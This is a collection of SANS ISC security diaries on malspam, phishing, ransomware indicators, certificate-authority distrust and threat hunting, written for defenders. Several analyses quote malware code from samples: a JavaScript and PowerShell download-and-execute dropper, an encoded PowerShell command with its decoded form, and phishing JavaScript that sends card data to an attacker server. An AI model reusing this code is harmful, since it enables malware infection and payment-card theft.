I'm involved in a project to deploy a SIEM ("Security Information &Event Management") / SOC ("Security Operation Center") for a customer. The current approach is to outsource the services to an external company also called a MSSP ("Managed Security Services Provider"). We had an interesting chat about the pro & con to have an internal or external SOC. The main arguments from the company are:

• We don't have experience on board and we should hire people. And keep them on board!
• We don't know how to deploy the SIEM / SOC
• We have a limited budget (which is the 1st argument for many organizations)

Often, if not always conceded, the deployment of a SIEM is part of a long list of compliance requirements (from the business or the group the company belongs to).

Here is a small recap of the points we discussed:

And you? What is your point of view? Feel free to share.

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Sometimes you may find very small pieces of malicious code. Yesterday, I caught this very small Javascript sample with only 2 lines of code:

var d=new ActiveXObject(‘Shell.NormandApplication’.replace(‘Normand’, ‘’));
d.ShellExecute(“PowerShell”,”((New-Object System.Net.WebClient).DownloadFile(‘http://[redacted].exe', ‘xwing.pif’);Start-Process ‘xwing.pif’”,””,””,0);

There is no real obfuscation here, just a trick to avoid the detection of the string ‘Shell.Application’ which often searched by automated tools…

Sometimes, there is no need to implement complex code to bypass detection. A good example comes with PowerShell which has the following cool feature: EncodedCommand[1].

Accepts a base-64-encoded string version of a command. Use this parameter to submit commands to Windows PowerShell that require complex quotation marks or curly braces.

Here is a sample that I also detected yesterday (the lines have been truncated for the readability):

poWERShElL.Exe -ExECutioNPolicy bYpAsS -NOPrOFiLe -WindOwsTyLe HiddEN -enCodEdCoMMANd \
IAAoAG4ARQB3AC0AbwBiAGoAZQBjAFQAIABTAHkAUwBUAGUAbQAuAE4AZQB0AC4AVwBFAGIAQwBsAG\
kARQBOAHQAKQAuAEQAbwB3AE4ATABvAGEARABGAEkAbABFACgAIAAdIGgAdAB0AHAAcwA6AC8ALwBh\
AHIAaQBoAGEAbgB0AHQAcgBhAGQAZQByAHMAbgBnAHAALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AUw\
BjAGEAbgBfADIALgBlAHgAZQAdICAALAAgAB0gJABlAG4AdgA6AFQARQBtAFAAXABvAHUAdABwAHUA\
dAAuAGUAeABlAB0gIAApACAAOwAgAGkAbgBWAG8AawBFAC0ARQB4AFAAUgBlAHMAUwBJAG8ATgAgAB\
0gJABFAE4AdgA6AHQARQBNAFAAXABvAHUAdABwAHUAdAAuAGUAeABlAB0g

The decoded Base64 string is:

(nEw-objecT SySTem.Net.WEbCliENt).DowNLoaDFIlE(  https://[redacted]/images/Scan_2.exe  ,  $env:TEmP\output.exe  ) ; inVokE-ExPResSIoN  $ENv:tEMP\output.exe

Nothing fancy, easy to decode but this trick will bypass most of the default security controls. A good idea is to fine tune your regular expressions and filters to catch the "-encodedcommand" string (and ignore the case).

Note that the PE file is downloaded via HTTPS!

[1] https://blogs.msdn.microsoft.com/timid/2014/03/26/powershell-encodedcommand-and-round-trips/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

VMware released a security bulletin[1] with moderate to critical vulnerabilities. The following products are affected:

• ESXi
• Workstation
• Fusion 

The vulnerabilities may allow a guest to execute code on the host, may lead to a DDoS or information leakage (depending on the product and version). Patches are available.

[1] https://www.vmware.com/security/advisories/VMSA-2017-0006.html

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Today, I would like to review an example how we can improve our daily security operations or, for our users, how to help in detecting suspicious content. Last week, I received the following email in my corporate mailbox. The mail is written in French but easy to understand: It is a notification regarding a failed delivery (they pretended that nobody was present at the delivery address to pick up the goods).

To be honest, I hesitated a few seconds about the legitimacy of this message. For the following reasons:

• I'm doing a lot of online shopping and deliver at my company address
• The email address used was a "corporate" address that I'm protecting and not using outside contacting my customers.
• My name, company name, address were correct
• The mail was in good French, no typo
• There are plenty of companies busy in this field, you do not know in advance which company will deliver your packet

The reflex is to visit the website but I got this message:

The first thought was that the website was indeed compromised and the owner closed it temporary. But the malicious Office document referenced in the mail was still available! So, the website was not cleaned yet. I tried to find a contact in the company to report the problem. Google did not know “Duprat Logistics” in Belgium. If it's unknown to Google, it's really strange. It looked like a fake company. The name of the person mentioned in the mail was unknown on LinkedIn. The postal address does not exist. Another evidence:

Domain Name: dupratlogistics.com
Registry Domain ID:
Registrar WHOIS Server: whois.regtons.com
Registrar URL: http://regtons.com
Updated Date:
Creation Date: 2017-03-17T00:00:00Z
Registrar Registration Expiration Date: 2018-03-17T00:00:00Z
Registrar: GRANSY S.R.O D/B/A SUBREG.CZ
Registrar IANA ID: 1505
Registrar Abuse Contact Email: abuse@regtons.com
Registrar Abuse Contact Phone: +420.734463373
Reseller: ??????? ?????? ?????????
Registry Registrant ID: G-987982
Registrant Name: Jarred Ewing
Registrant Organization:
Registrant Street: Smaratun 60
Registrant City: Vik
Registrant State/Province: Vik
Registrant Postal Code: 870
Registrant Country: IS
Registrant Phone: +354.4701571
Registrant Phone Ext: None
Registrant Fax:
Registrant Fax Ext:
Registrant Email: JarredEwing@mail2tor.com
Registry Admin ID: G-987982

The domain has been registered the 17th of March! Have a look at the email address (mail2tor.com). The reseller field contains Cyrillic characters.

But the mail claimed that they visited my place the 21st of March at 11:32. Unfortunately for them, I’ve a CCTV and this is the picture was taken at this time. Nobody was present (of course, I checked in the interval of -1h / +1h).

The rest of story is classic. As you can imagine, the document was malicious (MD5: 9a9f84d7ade2e2802c1b2b584b668046). The macro downloaded a PE file from hxxp://185.145.129.70/ini.xyz.

I'm not aware of other companies targeted by the same email in Belgium but this was a very nice attempt. To conclude, there are many ways to defeat such phishing attempts by correlating information from multiple sources (logical and physical). It's time consuming but here are a few examples:

• Check the domain name registration details (via a whois[1] server)
• Search for addresses, names on Google
• Geolocate IP address of the fake website
• Cross check activities with CCTV, badge readers, etc.

Stay safe!

[1] https://www.whois.net/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Google has long been vocal about Symantec's use of "test certificates". Google alleged that Symantec does not provide sufficient controls to prevent an abuse of its widely respected certificate authority. Late last week, Ryan Sleevi who is part of Google's Chrome team, announced that Google Chrome / Chromium will phase out trust in Symantec's CAs, and at the same time, no longer recognize them for Extended Validation. [1]

Root Certificate Authorities are critical for TLS to work and have been in my opinion the weak point when it comes to TLS security. I have yet to find a public example of a system being compromised because SSL v3 was still enabled on the system. On the other hand, there are plenty of examples of certificate authorities either getting compromised to issue fake certificates, or weaknesses in certificate authorities validation schemes being abused. Symantec is far from the only certificate authority with issues and trust in certificate authorities has been revoked in the past. The most notable recent case was probably WoSign/StartSSL which didn't comply with accepted procedures to issue certificates.

Symantec is a major certificate authority. Ryan states in his post that "In January 2015, Symantec-issued certificates represented more than 30% of the valid certificates by volume", and "From Mozilla Firefox’s Telemetry, we know that Symantec issued certificates are responsible for 42% of certificate validations". So in short: A lot of sites are using certificates based on Symantec's CA and a lot of people visit sites that use certificates based on Symantec's CA. This is an important issue that will likely have a large impact.

To make things more "interesting", Symantec based certificates are also issued by resellers, and it may not always be obvious to buyers that a certificate is based on a Symantec CA. Some of these Sub-CAs, if they are operated independently from Symantec, are not included in this action. The list of Symantec roots affected is quite substantial [2].

Regardless if we agree or do not agree with Google's action on this, here are some of the issues you need to be aware off:

1. Right now, this is just a proposal. Nothing has been implemented yet, and Google may change its mind, or change its schedule.
2. This issue will only affect Google Chrome users. Google Chrome is by some counts currently the most commonly used browser. But it will only affect HTTP(S), not other services like imap that are not supported by Chrome. It will also not affect internal web services that are not used by browsers.
3. The most pressing issue right now are Extended Validation certificates. Google proposes to no longer indicate that a certificate is an "Extended Validation" certificate. Users will not see the green URL bar and may not see the company's name in the URL bar. The certificate will however be considered valid. This is likely going to confuse some security minded users, but for the most part, users are likely going to ignore this issue or not notice it at all.
4. For all other certificates, Google proposes an elaborate phase-out plan. The phase out plan is based on Google Chrome versions, not on specific dates. In each release, certificates that exceed a certain age, will no longer be trusted. 

   Chrome Version	Release Date	Maximum Age	Issued Before
   59 (dev/beta/stable)	June 6th 2017	33 months	Sept 6th 2014
   60 (dev/beta/stable)	August 1st 2017	27 months	May 1st 2015
   61 (dev/beta/stable)	September 12th 2017	21 months	Dec. 12th 2015
   62 (dev/beta/stable)	October 24th 2017	15 months	July 24th 2016
   63 (dev/beta)		9 months
   63 (stable)	December 12th 2017	15 months	Sept 12th 2016
   64 (dev/beta/stable)	January 2018?	9 months	Oct 12th 2016

   These dates may of course change. There is currently no published estimated release date for Chrome 64, so I guessed January 2018 [3] 

The most pressing issue right now are Extended Validation certificates. But what you need to do soon (if you don't have it already), is to inventory your certificates by Certificate Authority and time it was issued. The easiest way to do this, in my opinion, is bro. If you have bro running on your network, check the x509 logs for any certificates that may be applicable and extract the issuer and the "not valid before" date. Keeping track of SSL certificates is a good idea anyway, so this exercise isn't all going to be a waste if Google changes its mind.

If you do come across affected certificates: Contact your issuer, see if they have any options like issuing a new certificate signed by a CA that is not going to be blocklisted by Google. 

[1] https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/eUAKwjihhBs
[2] https://chromium.googlesource.com/chromium/src/+/master/net/data/ssl/symantec/roots
[3] https://www.chromium.org/developers/calendar

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

One of our readers sent us an interesting sample that was captured by his anti-spam. The suspicious email had an HTML file attached to it. By having a look at the file manually, it is heavily obfuscated and the payload is encoded in a unique variable:

var iKz7xb8 = "160b6e65697e737a6f0a627e67661416425e47460a464b444d17084f44081416424f4b4e1416
474f5e4b0a49424b58594f5e17085f5e4c0712081416474f5e4b0a444b474f17085c434f5d5a45585e080a49454
45e4f445e17085d434e5e42174e4f5c43494f075d434e5e42060a4344435e434b460759494b464f171b08141646
4344410a42584f4c1708425e5e5a591005054c45445e59044d45454d464f4b5a43590449454705495959154c4b4
743465317784548455e45080a584f461708595e53464f59424f4f5e08140a16595e53464f1400514c45445e074c
4b47434653100a0d784548455e450d060a5 ... ";

The file has a current VT score of 0/55 [1] and is "free" of malicious code, it is just a very nice Paypal phishing page:

The HTTP form data are sent to a rogue server but how to get it? To obtain more details about the malicious JavaScript code, it can be de-obfuscated with JSDetox[2] and some manual changes. The complete code can now be reviewed manually. The following function does the job:

<input type="button" class="ssP" onClick="ss()" value="Submit Form">
...
function ss(){
    if (!TLSPort()){
        window.location.replace("https://www.paypal.com/");
        return false;
    }
    var GoogleAnalytics="hxxp://www.eurodyte.net/" + "86c2e66377265675a8a0edc1befe1837.php";
    document.forms["pF"].action=GoogleAnalytics;document.forms["pF"].method="POST";
    document.forms["pF"].submit();
}

The TLSPort() function is just a validation function:

function TLSPort(){
    var CV=CValid(document.pF.pCC.value);
    if (!CV) return 0;
    var x=document.pF.pFN.value,y=document.pF.pEM.value,z=document.pF.pEY.value,\ 
        w=document.pF.pSA.value,v=document.pF.pCV.value;
    if (!v || !w || !x || y=="00" || z=="00") return 0;
    return 1;
}

CValid is used to verify the CC number provided by the victim:

function CValid(x){
    if (/[^0-9-\s]+/.test(x)) return false;
    var nn=0,nd=0,be=false;x=x.replace(/\D/g, "");
    for (var n=x.length - 1; n >=0; n--){
        var cd=x.charAt(n),nd=parseInt(cd, 10);
        if (be){
            if ((nd *=2) > 9) nd -=9
        }
        nn +=nd;be=!be
    }
    return (nn % 10)==0
}

Here is a valid POST to the attacker's server (using a test Visa number - 4111111111111111 - and fake data):

[1] https://www.virustotal.com/en/file/a54f8118448da24d9c344e0b2dea511819b6f7de5b2bb2d00b99c71153a4970a/analysis/
[2] https://github.com/svent/jsdetox

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

SSMA is handy tool for quickly getting an idea if a file is malicious.  

Install

sudo apt-get install python3-pip

git clone https://github.com/secrary/SSMA

cd SSMA

sudo pip3 install -r requirements.txt

 

Usage

To use, just run the command along with your VirusTotal API key and the file to get the results. After each test, it will ask you if you want to continue analysis. In this example I used a version mebroot for testing.

python3 ssma.py -h

python3 /home/twebb/Downloads/SSMA/ssma.py -k VT_API_KEY 00000025.exe

Results

????????????????????   ???? ??????

????????????????????? ????????????? Simple

??????????????????????????????????? Static

??????????????????????????????????? Malware

??????????????????? ??? ??????  ??? Analyzer

???????????????????     ??????  ???

File Details:

File: /home/twebb/malware/2-mar-2010 torpig/00000025.exe

Size: 280960 bytes

Type: application/x-dosexec

MD5:  ae26e139311e2cacef53cce6d8da09da

SHA1: b9942fd44e798073821dd4b1d9b21f1814d766ad

Date: Fri Nov 28 00:33:22 2003

PE file entropy: 7.618302492203651

Very high or very low entropy means that file is compressed or encrypted since truly random data is not common.

================================================================================

Continue? [Y/n] y

Number of Sections: 5

Section VirtualAddress VirtualSize SizeofRawData Entropy

.code   0x480                26965         27008 6.511691201650016

.rdata  0x6e00                 152           256 2.401459977262458

.data   0x6f00              251148        251264 7.654305920976193

INIT    0x44480                306           384 4.063770965426124

.reloc  0x44600                854           896 1.656681300794013

Very high or very low entropy means that file/section is compressed or encrypted since truly random data is not common.

SUSPICIOUS section names: INIT

================================================================================

Continue? [Y/n] y

Virustotal:

F-Secure - Gen:Rootkit.Heur.ruW@CS!sLed

NOD32 - a variant of Win32/Mebroot.CK

Ikarus - Backdoor.Win32.Sinowal

McAfee-GW-Edition - Trojan.Crypt.ZPACK.Gen

Symantec - Suspicious.Insight

BitDefender - Gen:Rootkit.Heur.ruW@CS!sLed

AntiVir - TR/Crypt.ZPACK.Gen

GData - Gen:Rootkit.Heur.ruW@CS!sLed

nProtect - Gen:Rootkit.Heur.ruW@CS!sLed

a-squared - Backdoor.Win32.Sinowal!IK

================================================================================

Continue? [Y/n] y

Scan file using Yara-rules.

With Yara rules you can create a "description" of malware families to detect new samples.

For more information: https://virustotal.github.io/yara/

Downloading Yara-rules...

These Yara rules specialised on the identification of well-known malware.

Result:

QuarianCode - Quarian code features

Quarian - Quarian

================================================================================

Continue? [Y/n] y

These Yara Rules aimed to detect well-known software packages, that can be used by malware to hide itself.

Result:

Visual_Cpp_2003_DLL_Microsoft

================================================================================

Continue? [Y/n] y

These Yara rules aimed to detect the existence of cryptographic algorithms.

Detected cryptographic algorithms:

contentis_base64 - This rule finds for base64 strings

================================================================================

Continue? [Y/n] y

There are lots of tools like this, but this one is worth giving a try due to how quick and easy the install was.  What yours favorite static analysis tool?

--

Tom Webb

@twsecblog

2017-03-22 Update:  This diary was posted earlier, but we had some technical issues, and the previous diary disappeared.  I had to re-post this as a new diary with a new story ID and URL.

Introduction

Cerber ransomware has been a constant presence since it was first discovered in February 2016.  Since then, I've seen it consistently pushed by exploit kits (like Rig and Magnitude) from the pseudoDarkleech and other campaigns.  I've also been tracking Cerber on a daily basis from malicious spam (malspam).

Some malspam pushing Cerber is part of the "Blank Slate" campaign.  Why call it Blank Slate?  Because the emails have no message text, and there's nothing to indicate what, exactly, the attachments are.  Subject lines and attachment names are vague and usually consist of random numbers.

An interesting aspect of this campaign is that the file attachments are double-zipped.  There's a zip archive within the zip archive.  Within that second zip archive, you'll find a malicious JavaScript (.js) file or a Microsoft Word document.  These files are designed to infect a computer with ransomware.

Blank Slate has pushed different types of ransomware.  However, the vast majority of ransomware from this campaign has been Cerber.  I wrote an in-depth article about Blank Slate earlier this month, and it's changed very little since then.

Shown above:  Chain of events for a Blank Slate Cerber infection.

Let's look at some examples from Monday and Tuesday of this week (2017-03-20 and 2017-03-21).

The emails

Like other malspam campaigns, Blank Slate emails come from numerous hosts across the globe.  I always think of this as botnet-based malspam, but I don't have any visibility on the sending side. 

Shown above:  Ten emails from this campaign on 2017-03-20 and 03-21.

Sending email addresses are always spoofed.  The only reliable source data consists of IP addresses for sending mail servers, specifically the one that directly contacted the recipient's mail server, as noted in the email headers.  Everything else in an email can probably be spoofed.

What does one of these emails look like?  Below is a screen shot with the recipient's information redacted.

Shown above:  An email from the Blank Slate campaign.

What's in the zip file attachment?  Another zip file!

Shown above:  Contents of the zip attachment from a Blank Slate campaign email.

What's in that zip within the zip?  It's either a Microsoft Word document, or it's a .js file.  In this case it's a .js file.  I've seen many more .js files than Word documents in recent weeks from this campaign.

Shown above:  Contents of the zip archive within the zip archive.

The .js file contains obfuscated script.  If you double-click the file on a default-configured Windows host, Microsoft Windows Script (WScript) Host will execute the code and try to infect the computer.

Shown above:  Start of obfuscated script in the .js file.

The traffic

On Monday 2017-03-20, I ran one of the extracted .js files on a vulnerable Windows host.  After an initial HTTP GET request for the ransomware binary, post-infection traffic was similar to several other recent examples of Cerber.  You'll see UDP traffic from the infected host over port 6892.  That's followed by HTTP traffic to a domain starting with p27dokhpz2n7nvgr and ending with .top.  IP addresses for the UDP traffic changes every week or two (or longer).  Post-infection HTTP domains change more frequently.

Shown above:  Infection traffic from Monday 2017-03-20.

The infected Windows host acted similar to other hosts I've infected in previous months.  Along with the desktop background, decryption instructions were dropped to the desktop in three different files.  File names began with _READ_THIS_FILE_ and consisted of a text file, an image file, and an HTA file.

Shown above:  An infected Windows host from Monday 2017-03-20.

The decryption process hasn't changed in recent months.  Recently, whenever I've checked Cerber decryption instructions, the ransom was consistently $500 US dollars.  The bitcoin amount had always reflected that $500 dollar value.  But this week's example was different.  This week, the ransom was 1 bitcoin.

Shown above:  Cerber decryptor page with the ransom cost.

Indicators of Compromise (IoC)

The following IP is traffic generated by the extracted .js files that downloaded Cerber:

• 54.68.27.226 or 104.154.199.132 - sonicfopase.top - GET /admin.php?f=2.gif
• 54.68.27.226 or 104.154.199.132 - bobdomjda.top - GET /admin.php?f=2.gif
• 54.68.27.226 or 104.154.199.132 - dboosajqn.top - GET /user.php?f=2.gif
• 104.199.9.203 - letrockstadawsa.top - GET /search.php
• 104.199.9.203 - yunityreyrehol.top - GET /search.php

Post-infection Cerber traffic:

• 149.202.64.0 to 149.202.64.31 (149.202.64.0/27) UDP port 6892
• 149.202.122.0 to 149.202.122.31 (149.202.122.0/27) UDP port 6892
• 149.202.248.0 to 149.202.251.255 (149.202.248.0/22) UDP port 6892
• HTTP traffic to a domain starting with p27dokhpz2n7nvgr and ending with .top

Cerber samples collected using this batch of emails:

SHA256 hash: 92135e39f2e0db1aaf6605446e24fc9aedc36eb4bed9e7cdad1e92e4d387ed04

• File description: Cerber sample from bobdomjda.top on 2017-03-20
• File size: 264,378 bytes

SHA256 hash: 035d137592a7f6ce707739ceecb09db517587bcb0100254c3dd8ee4a262603af

• File description: Cerber sample from letrockstadawsa.top on 2017-03-20
• File size: 264,377 bytes

SHA256 hash: ee6b4e29aac7ca55a19265728d484221956b1b11c4961b60dd70137316bde245

• File description: Cerber sample from sonicfopase.top on 2017-03-20
• File size: 264,378 bytes

SHA256 hash: 0456237db4444582d94f4231824bdc09475d844820f14fcd2172ccdc13bddbf3

• File description: Cerber sample from dboosajqn.top on 2017-03-21
• File size: 273,618 bytes

SHA256 hash: d3a6ab8e8f6eb49cba032208d04d7105ac764982ca56fcaf1a421396e1adadfa

• File description: Cerber sample from yunityreyrehol.top on 2017-03-21
• File size: 273,617 bytes

Final words

I always wonder how effective campaigns like this are.  Potential victims must open an attachment from a blank email, go through two zip archives, then double-click the final file.  If the final file is a Word document, the victim must also enable macros.

And that works on default Windows configurations.  But properly-administered Windows hosts and decent email filtering are enough, I think, to keep most people from worring about it.  I'm far more interested in the cycle of abuse targeting hosting providers.  Without web servers to host ransomware binaries, Blank Slate cannot continue its current method of operations.

For more details on Blank Slate, see my previous writeup about it.  Pcap and malware samples for this ISC diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Introduction

On Monday 2017-03-20, the ISC received a notification through our contact page.  Someone reported numerous items of malicious spam (malspam) sent to addresses at his organization.  The malspam had Microsoft Word documents (.docx files) as attachments and subject lines such as:

• Fwd:Ticket k29y729n71c52h692o53171
• ReTicket 985v49f155t06g78v412a3n382
• Fwd:Ticket 048f1v00u98
• ReTicket y18k9178280
• Ticket p574v892f453b467
• Ticket e26099p58v65x073
• ReInquiry 9l48o77
• Inquiry m70q200kd80
• ReInquiry t63j288d271f997b083a57c547
• ReInquiry f514f830p417n06h5150s036r838

An example of the message text:

Check the payment report created for [recipient's email address] as you just ordered.

You may need Doc Passcode: [string of alphanumeric characters]

[fake sender's name]

The attached Word documents were approximately 70 kB in size and password-protected.  The document file names started with the string of alphanumeric characters from the subject line followed by the recipient's email address.  File names all ended with the .docx file extension.

This diary documents my investigation into this wave of malspam.  We're always thankful for people who submit samples of emails and malware like this to the ISC.

The email

The email appeared somewhat common for most malspam we see.  People sometimes think if malsapm has the recipient's name in the email, it must be targeted.  However, that's often not the case.  This type of malspam is easily automated, and it can seem convincing when the recipient's email address is formatted as firstname.lastname@company.com.

Shown above:  An example of the malspam.

The attachment

The document would only open after using the password from malspam it was attached to.  This tactic typically allows the document to bypass detection in anti-virus tools.  Searching VirusTotal for the Word document showed 0 of 56 detections when I checked the file later that day.

Shown above:  Request for the attached document's password.

The document had three embedded objects that were supposedly Word documents.  Dragging and dropping the objects onto the desktop revealed these were the same Visual Basic Script (VBS) file.  The file name had several spaces before the .vbs file extension in an attempt to hide the true nature of the file.

Shown above:  The embedded objects were a VBS file.

The VBS script was obfuscated, so its purpose was not immediately apparent.

Shown above:  Text from the embedded VBS file.

The traffic

Executing the VBS file on a Windows host in my lab generated HTTP traffic.  This is typically an attempt to download additional malware like a Windows executable or DLL file.  Unfortunately, by the time I checked it, the URL returned a 404 Not Found error.

Shown above:  Traffic generated by the .vbs file.

I searched reverse.it (also available as Payload Security on hybrid-analysis.com) and found 21 items submitted on Monday 2017-03-20 associated with the domain.  Most were other documents from the same type of malspam.  Two were attempts to analyze an extracted .vbs file.  One was a query to the callback URL.  None of these examples made it any farther than I did.

NOTE:  Getting these search results on reverse.it requires a login.  The accounts are free and only require a name, email, and password.

Shown above:  Search results on reverse.it (hybrid-analysis.com) for the callback domain.

Indicators of compromise (IoC)

The following indicators are associated with today's malspam example:

Password-protected Word document:

• SHA256 hash: 146772487e4f4453055f80f40039ad1ce6c82a32a94d82a8c5bd228f4bcb4dcc
• File size: 70,656 bytes
• File name: f514f830p417n06h5150s036r838[recipient's email address].docx

Word document with password-protection removed:

• SHA256 hash: 2792084dcd04a51bde167afb59a912a5ae82adb33720fb0f25a10be9d08d2e12
• File size: 64,938 bytes

VBS file embedded in the Word document:

• SHA256 hash: 4cc6e847ada0ebe30d88d93b07c58024380626295d43135ca161473d0cd20cb9
• File size: 9,583 bytes
• File name: MS Word Document.docx                              .vbs

Traffic generated by the VBS file:

• 184.154.24.34 port 80 - indigopoolandoutdoor.com - GET /log.pkp

Final words

Last week, someone at cysinfo.com blogged about similar malspam designed to infect Windows hosts with an Ursnif banking Trojan.  This type of password-protection technique in malspam attachments is nothing new.  I've certainly seen it before, and some creative Google searching will reveal this started years ago.  However, I haven't seen much about this in public forums lately.

Most security professionals assume we all know about it, so it doesn't usually make any headlines.  I advise people this is still a thing.

Of course, properly-administered Windows hosts are far less vulnerable to this type of infection.  The hosts I use in my lab environment are a different story.  If anyone knows of someone who was actually infected from one of these password-protected documents, please share your tale in the comments.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

When hunting for suspicious activity, it's always a good idea to search for Microsoft Executables. They are easy to identify: They start with the characters "MZ" at the beginning of the file[1]. But, to bypass classic controls, those files are often obfuscated (XOR, Rot13 or Base64). Base64 is very common and it's easy to search for Base64 encoded PE files by searching the following characters:

TVoA
TVpB
TVpQ
TVqA
TVqQ
TVro

(Credits go to a tweet from Paul Melson[2])

I added a new regular expression to my Pastebin scrapper:

TV(oA|pB|pQ|qA|qQ|ro)\w+

It already matched against interesting pasties :-)

The same filter can be applied to your IDS config, YARA rule, email filters, etc...

[1] https://en.m.wikipedia.org/wiki/DOS_MZ_executable
[2] https://twitter.com/pmelson

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

From: admintmseals@telkomsa.net
To: [redacted]
Subject: New Catalogue #2017
Date: 14 Mar 2017 03:12:51 -0700

Dear,

FYI!
Please submit the file to me asap.
Thank you.

Best Regards
Rachel Lo

Ufficio Commerciale
Vimin Box S.r.l.
Via Emanuele T. D'Azeglio, 2
12030 Lagnasco - CUNEO - ITALY
Tel. +39 0175 282082-3   Fax +39 0175282059
P. Iva 02281230041

%USERPROFILE%\9arfG4Fhjq\x (MD5: 4a137d468520bf7257a1744500c8c69d)
%USERPROFILE%9arfG4Fhjq\8ybl.dll (MD5: ec97baff7339df00b036d5b77b3f04f5)
%USERPROFILE%\9arfG4Fhjq\l7xauv.vbs (MD5: b49fd655fdbf4846453716c70929a396)

Set a9arfG4Fhjq = CreateObject("Shell.Application"):a9arfG4Fhjq.ShellExecute "rundll32","8ylb.dll ab1ksnp”

$ file x
x: PC bitmap, Windows 3.x format, 882 x 562 x 24

$ hexdump -C x.bmp|head -20
00000000  42 4d 66 b5 16 00 00 00  00 00 36 00 00 00 28 00  |BMf.......6...(.|
00000010  00 00 72 03 00 00 32 02  00 00 01 00 18 00 00 00  |..r...2.........|
00000020  00 00 30 b5 16 00 c4 0e  00 00 c4 0e 00 00 00 00  |..0.............|
00000030  00 00 00 00 00 00 ff ff  ff ff ff ff ff ff ff ff  |................|
00000040  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
*
00000120  ff 6d 65 67 61 70 65 73  74 72 63 2c 35 71 52 23  |.megapestrc,5qR#|
00000130  51 7f 79 66 21 76 9a 8e  50 23 e9 7f 7d 66 2e 76  |Q.yf!v..P#..}f.v|
00000140  65 71 10 23 4b 7f 7d 66  2e 76 65 71 50 23 51 7f  |eq.#K.}f.veqP#Q.|
00000150  7d 66 2e 76 65 71 50 23  51 7f 7d 66 2e 76 65 71  |}f.veqP#Q.}f.veq|
00000160  50 23 51 7f 7d 66 2e 77  65 71 ea 33 51 71 62 d2  |P#Q.}f.weq.3Qqb.|
00000170  27 bb 44 c9 51 6f 9c 5e  ed f6 7a 1e 0c 02 70 53  |'.D.Qo.^..z...pS|
00000180  23 10 1a 14 4f 1b 45 1c  25 50 25 5f 1f 03 0e 04  |#...O.E.%P%_....|
00000190  10 1f 70 56 3f 1b 18 14  0e 21 0c 1f 63 11 5c 75  |..pV?....!..c.\u|
000001a0  59 51 2e 76 65 71 50 23  51 7f 7d 66 2e 76 65 71  |YQ.veqP#Q.}f.veq|
000001b0  50 23 51 7f 7d 66 2e 76  65 71 50 23 51 7f 7d 66  |P#Q.}f.veqP#Q.}f|
000001c0  2e 76 65 71 50 23 51 7f  7d 66 2e 76 65 71 50 23  |.veqP#Q.}f.veqP#|
000001d0  51 7f 7d 66 2e 76 65 71  50 23 51 7f 7d 66 2e 76  |Q.}f.veqP#Q.}f.v|
000001e0  65 71 50 23 51 7f 7d 66  2e 76 65 71 50 23 51 7f  |eqP#Q.}f.veqP#Q.|
000001f0  7d 66 2e 76 65 71 50 23  51 7f 7d 66 2e 76 65 71  |}f.veqP#Q.}f.veq|

ff 6d 65 67 61 70 65 73 74 72
63 2c 35 71 52 23 51 7f 79 66
21 76 9a 8e 50 23 e9 7f 7d 66
2e 76 65 71 10 23 4b 7f 7d 66
2e 76 65 71 50 23 51 7f 7d 66
2e 76 65 71 50 23 51 7f 7d 66
2e 76 65 71 50 23 51 7f 7d 66
2e 77 65 71 ea 33 51 71 62 d2
27 bb 44 c9 51 6f 9c 5e ed f6
7a 1e 0c 02 70 53 23 10 1a 14
4f 1b 45 1c 25 50 25 5f 1f 03
0e 04 10 1f 70 56 3f 1b 18 14
0e 21 0c 1f 63 11 5c 75 59 51
2e 76 65 71 50 23 51 7f 7d 66
2e 76 65 71 50 23 51 7f 7d 66
2e 76 65 71 50 23 51 7f 7d 66
2e 76 65 71 50 23 51 7f 7d 66
2e 76 65 71 50 23 51 7f 7d 66
2e 76 65 71 50 23 51 7f 7d 66
2e 76

hxxp://23.249.166.175/star/gate.php

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

For a while, one of the security trends is to integrate information from 3rd-party feeds to improve the detection of suspicious activities. By collecting indicators of compromize[1], other tools may correlate them with their own data and generate alerts on specific conditions. The initial goal is to share as fast as possible new IOC’s with peers to improve the detection capability and, maybe, prevent further attacks or infections.

However, the 2016 SANS Incident Response Survey [2] demonstrated that, in many cases, the time to detect a compromise may remain important:

If your organization is targeted, there are few chances to see your malware sample analysed by security researchers and it may take some time to see new IOC’s extracted and distributed via classic channels.  That’s why playing “retro hunting” is also important. I like this name: it comes from a VirusTotal feature that allows the creation of YARA rules and to search backwards for samples that match them. (Note: this is only available to paid subscriptions - VT Intelligence[3])

In the same philosophy, it’s interesting to perform retro-hunting in your logs to detect malicious activity that occurred in the past. Here is an example based on MISP and Splunk. The first step is to export interesting IOC’s like IP addresses, hostnames or hashes from the last day. Export them in CSV format into your Splunk via a simple crontab:

0 0 * * * curl -H 'Authorization: xxxxxx' -k -s \
'https://misp.xxx.xxx/events/csv/download/false/false/false/Network%20activity/ip-src/true/false/false/1d' | \
awk -F ',' '{ print $5 }'| sed -e 's/value/src_ip/g’ >/opt/splunk/etc/apps/search/lookups/misp-ip-src.csv

15 0 * * * curl -H 'Authorization: xxxxxx' -k -s \
'https://misp.xxx.xxx/events/csv/download/false/false/false/Network%20activity/hostname/true/false/false/1d' | \
awk -F ',' '{ print $5 }'| sed -e 's/value/qclass/g’ >/opt/splunk/etc/apps/search/lookups/misp-hostnames.csv

It is possible to fine tune the query and export IOC’s that really matter (TLP:RED, with or without this tag, …)

Now, lookup tables are ready to be used on Splunk queries. Exported data are for the last day, let’s focus on a larger time period like 30 days with a simple query:

index=firewall [inputlookup misp-ip-src.csv | fields src_ip]

Results show that we had some hits in the firewall logs a few days ago:

Now let's search for interesting hostnames in our Bro logs. Did we resolve suspicious hostnames?

sourcetype=bro_dns [inputlookup misp-hostnames.csv | fields qclass] | stats count by class

You can schedule those searches on a daily basis and generate a notification if at least one hit is detected. If it’s the case, it could be interesting to start an investigation.

Happy retro hunting!

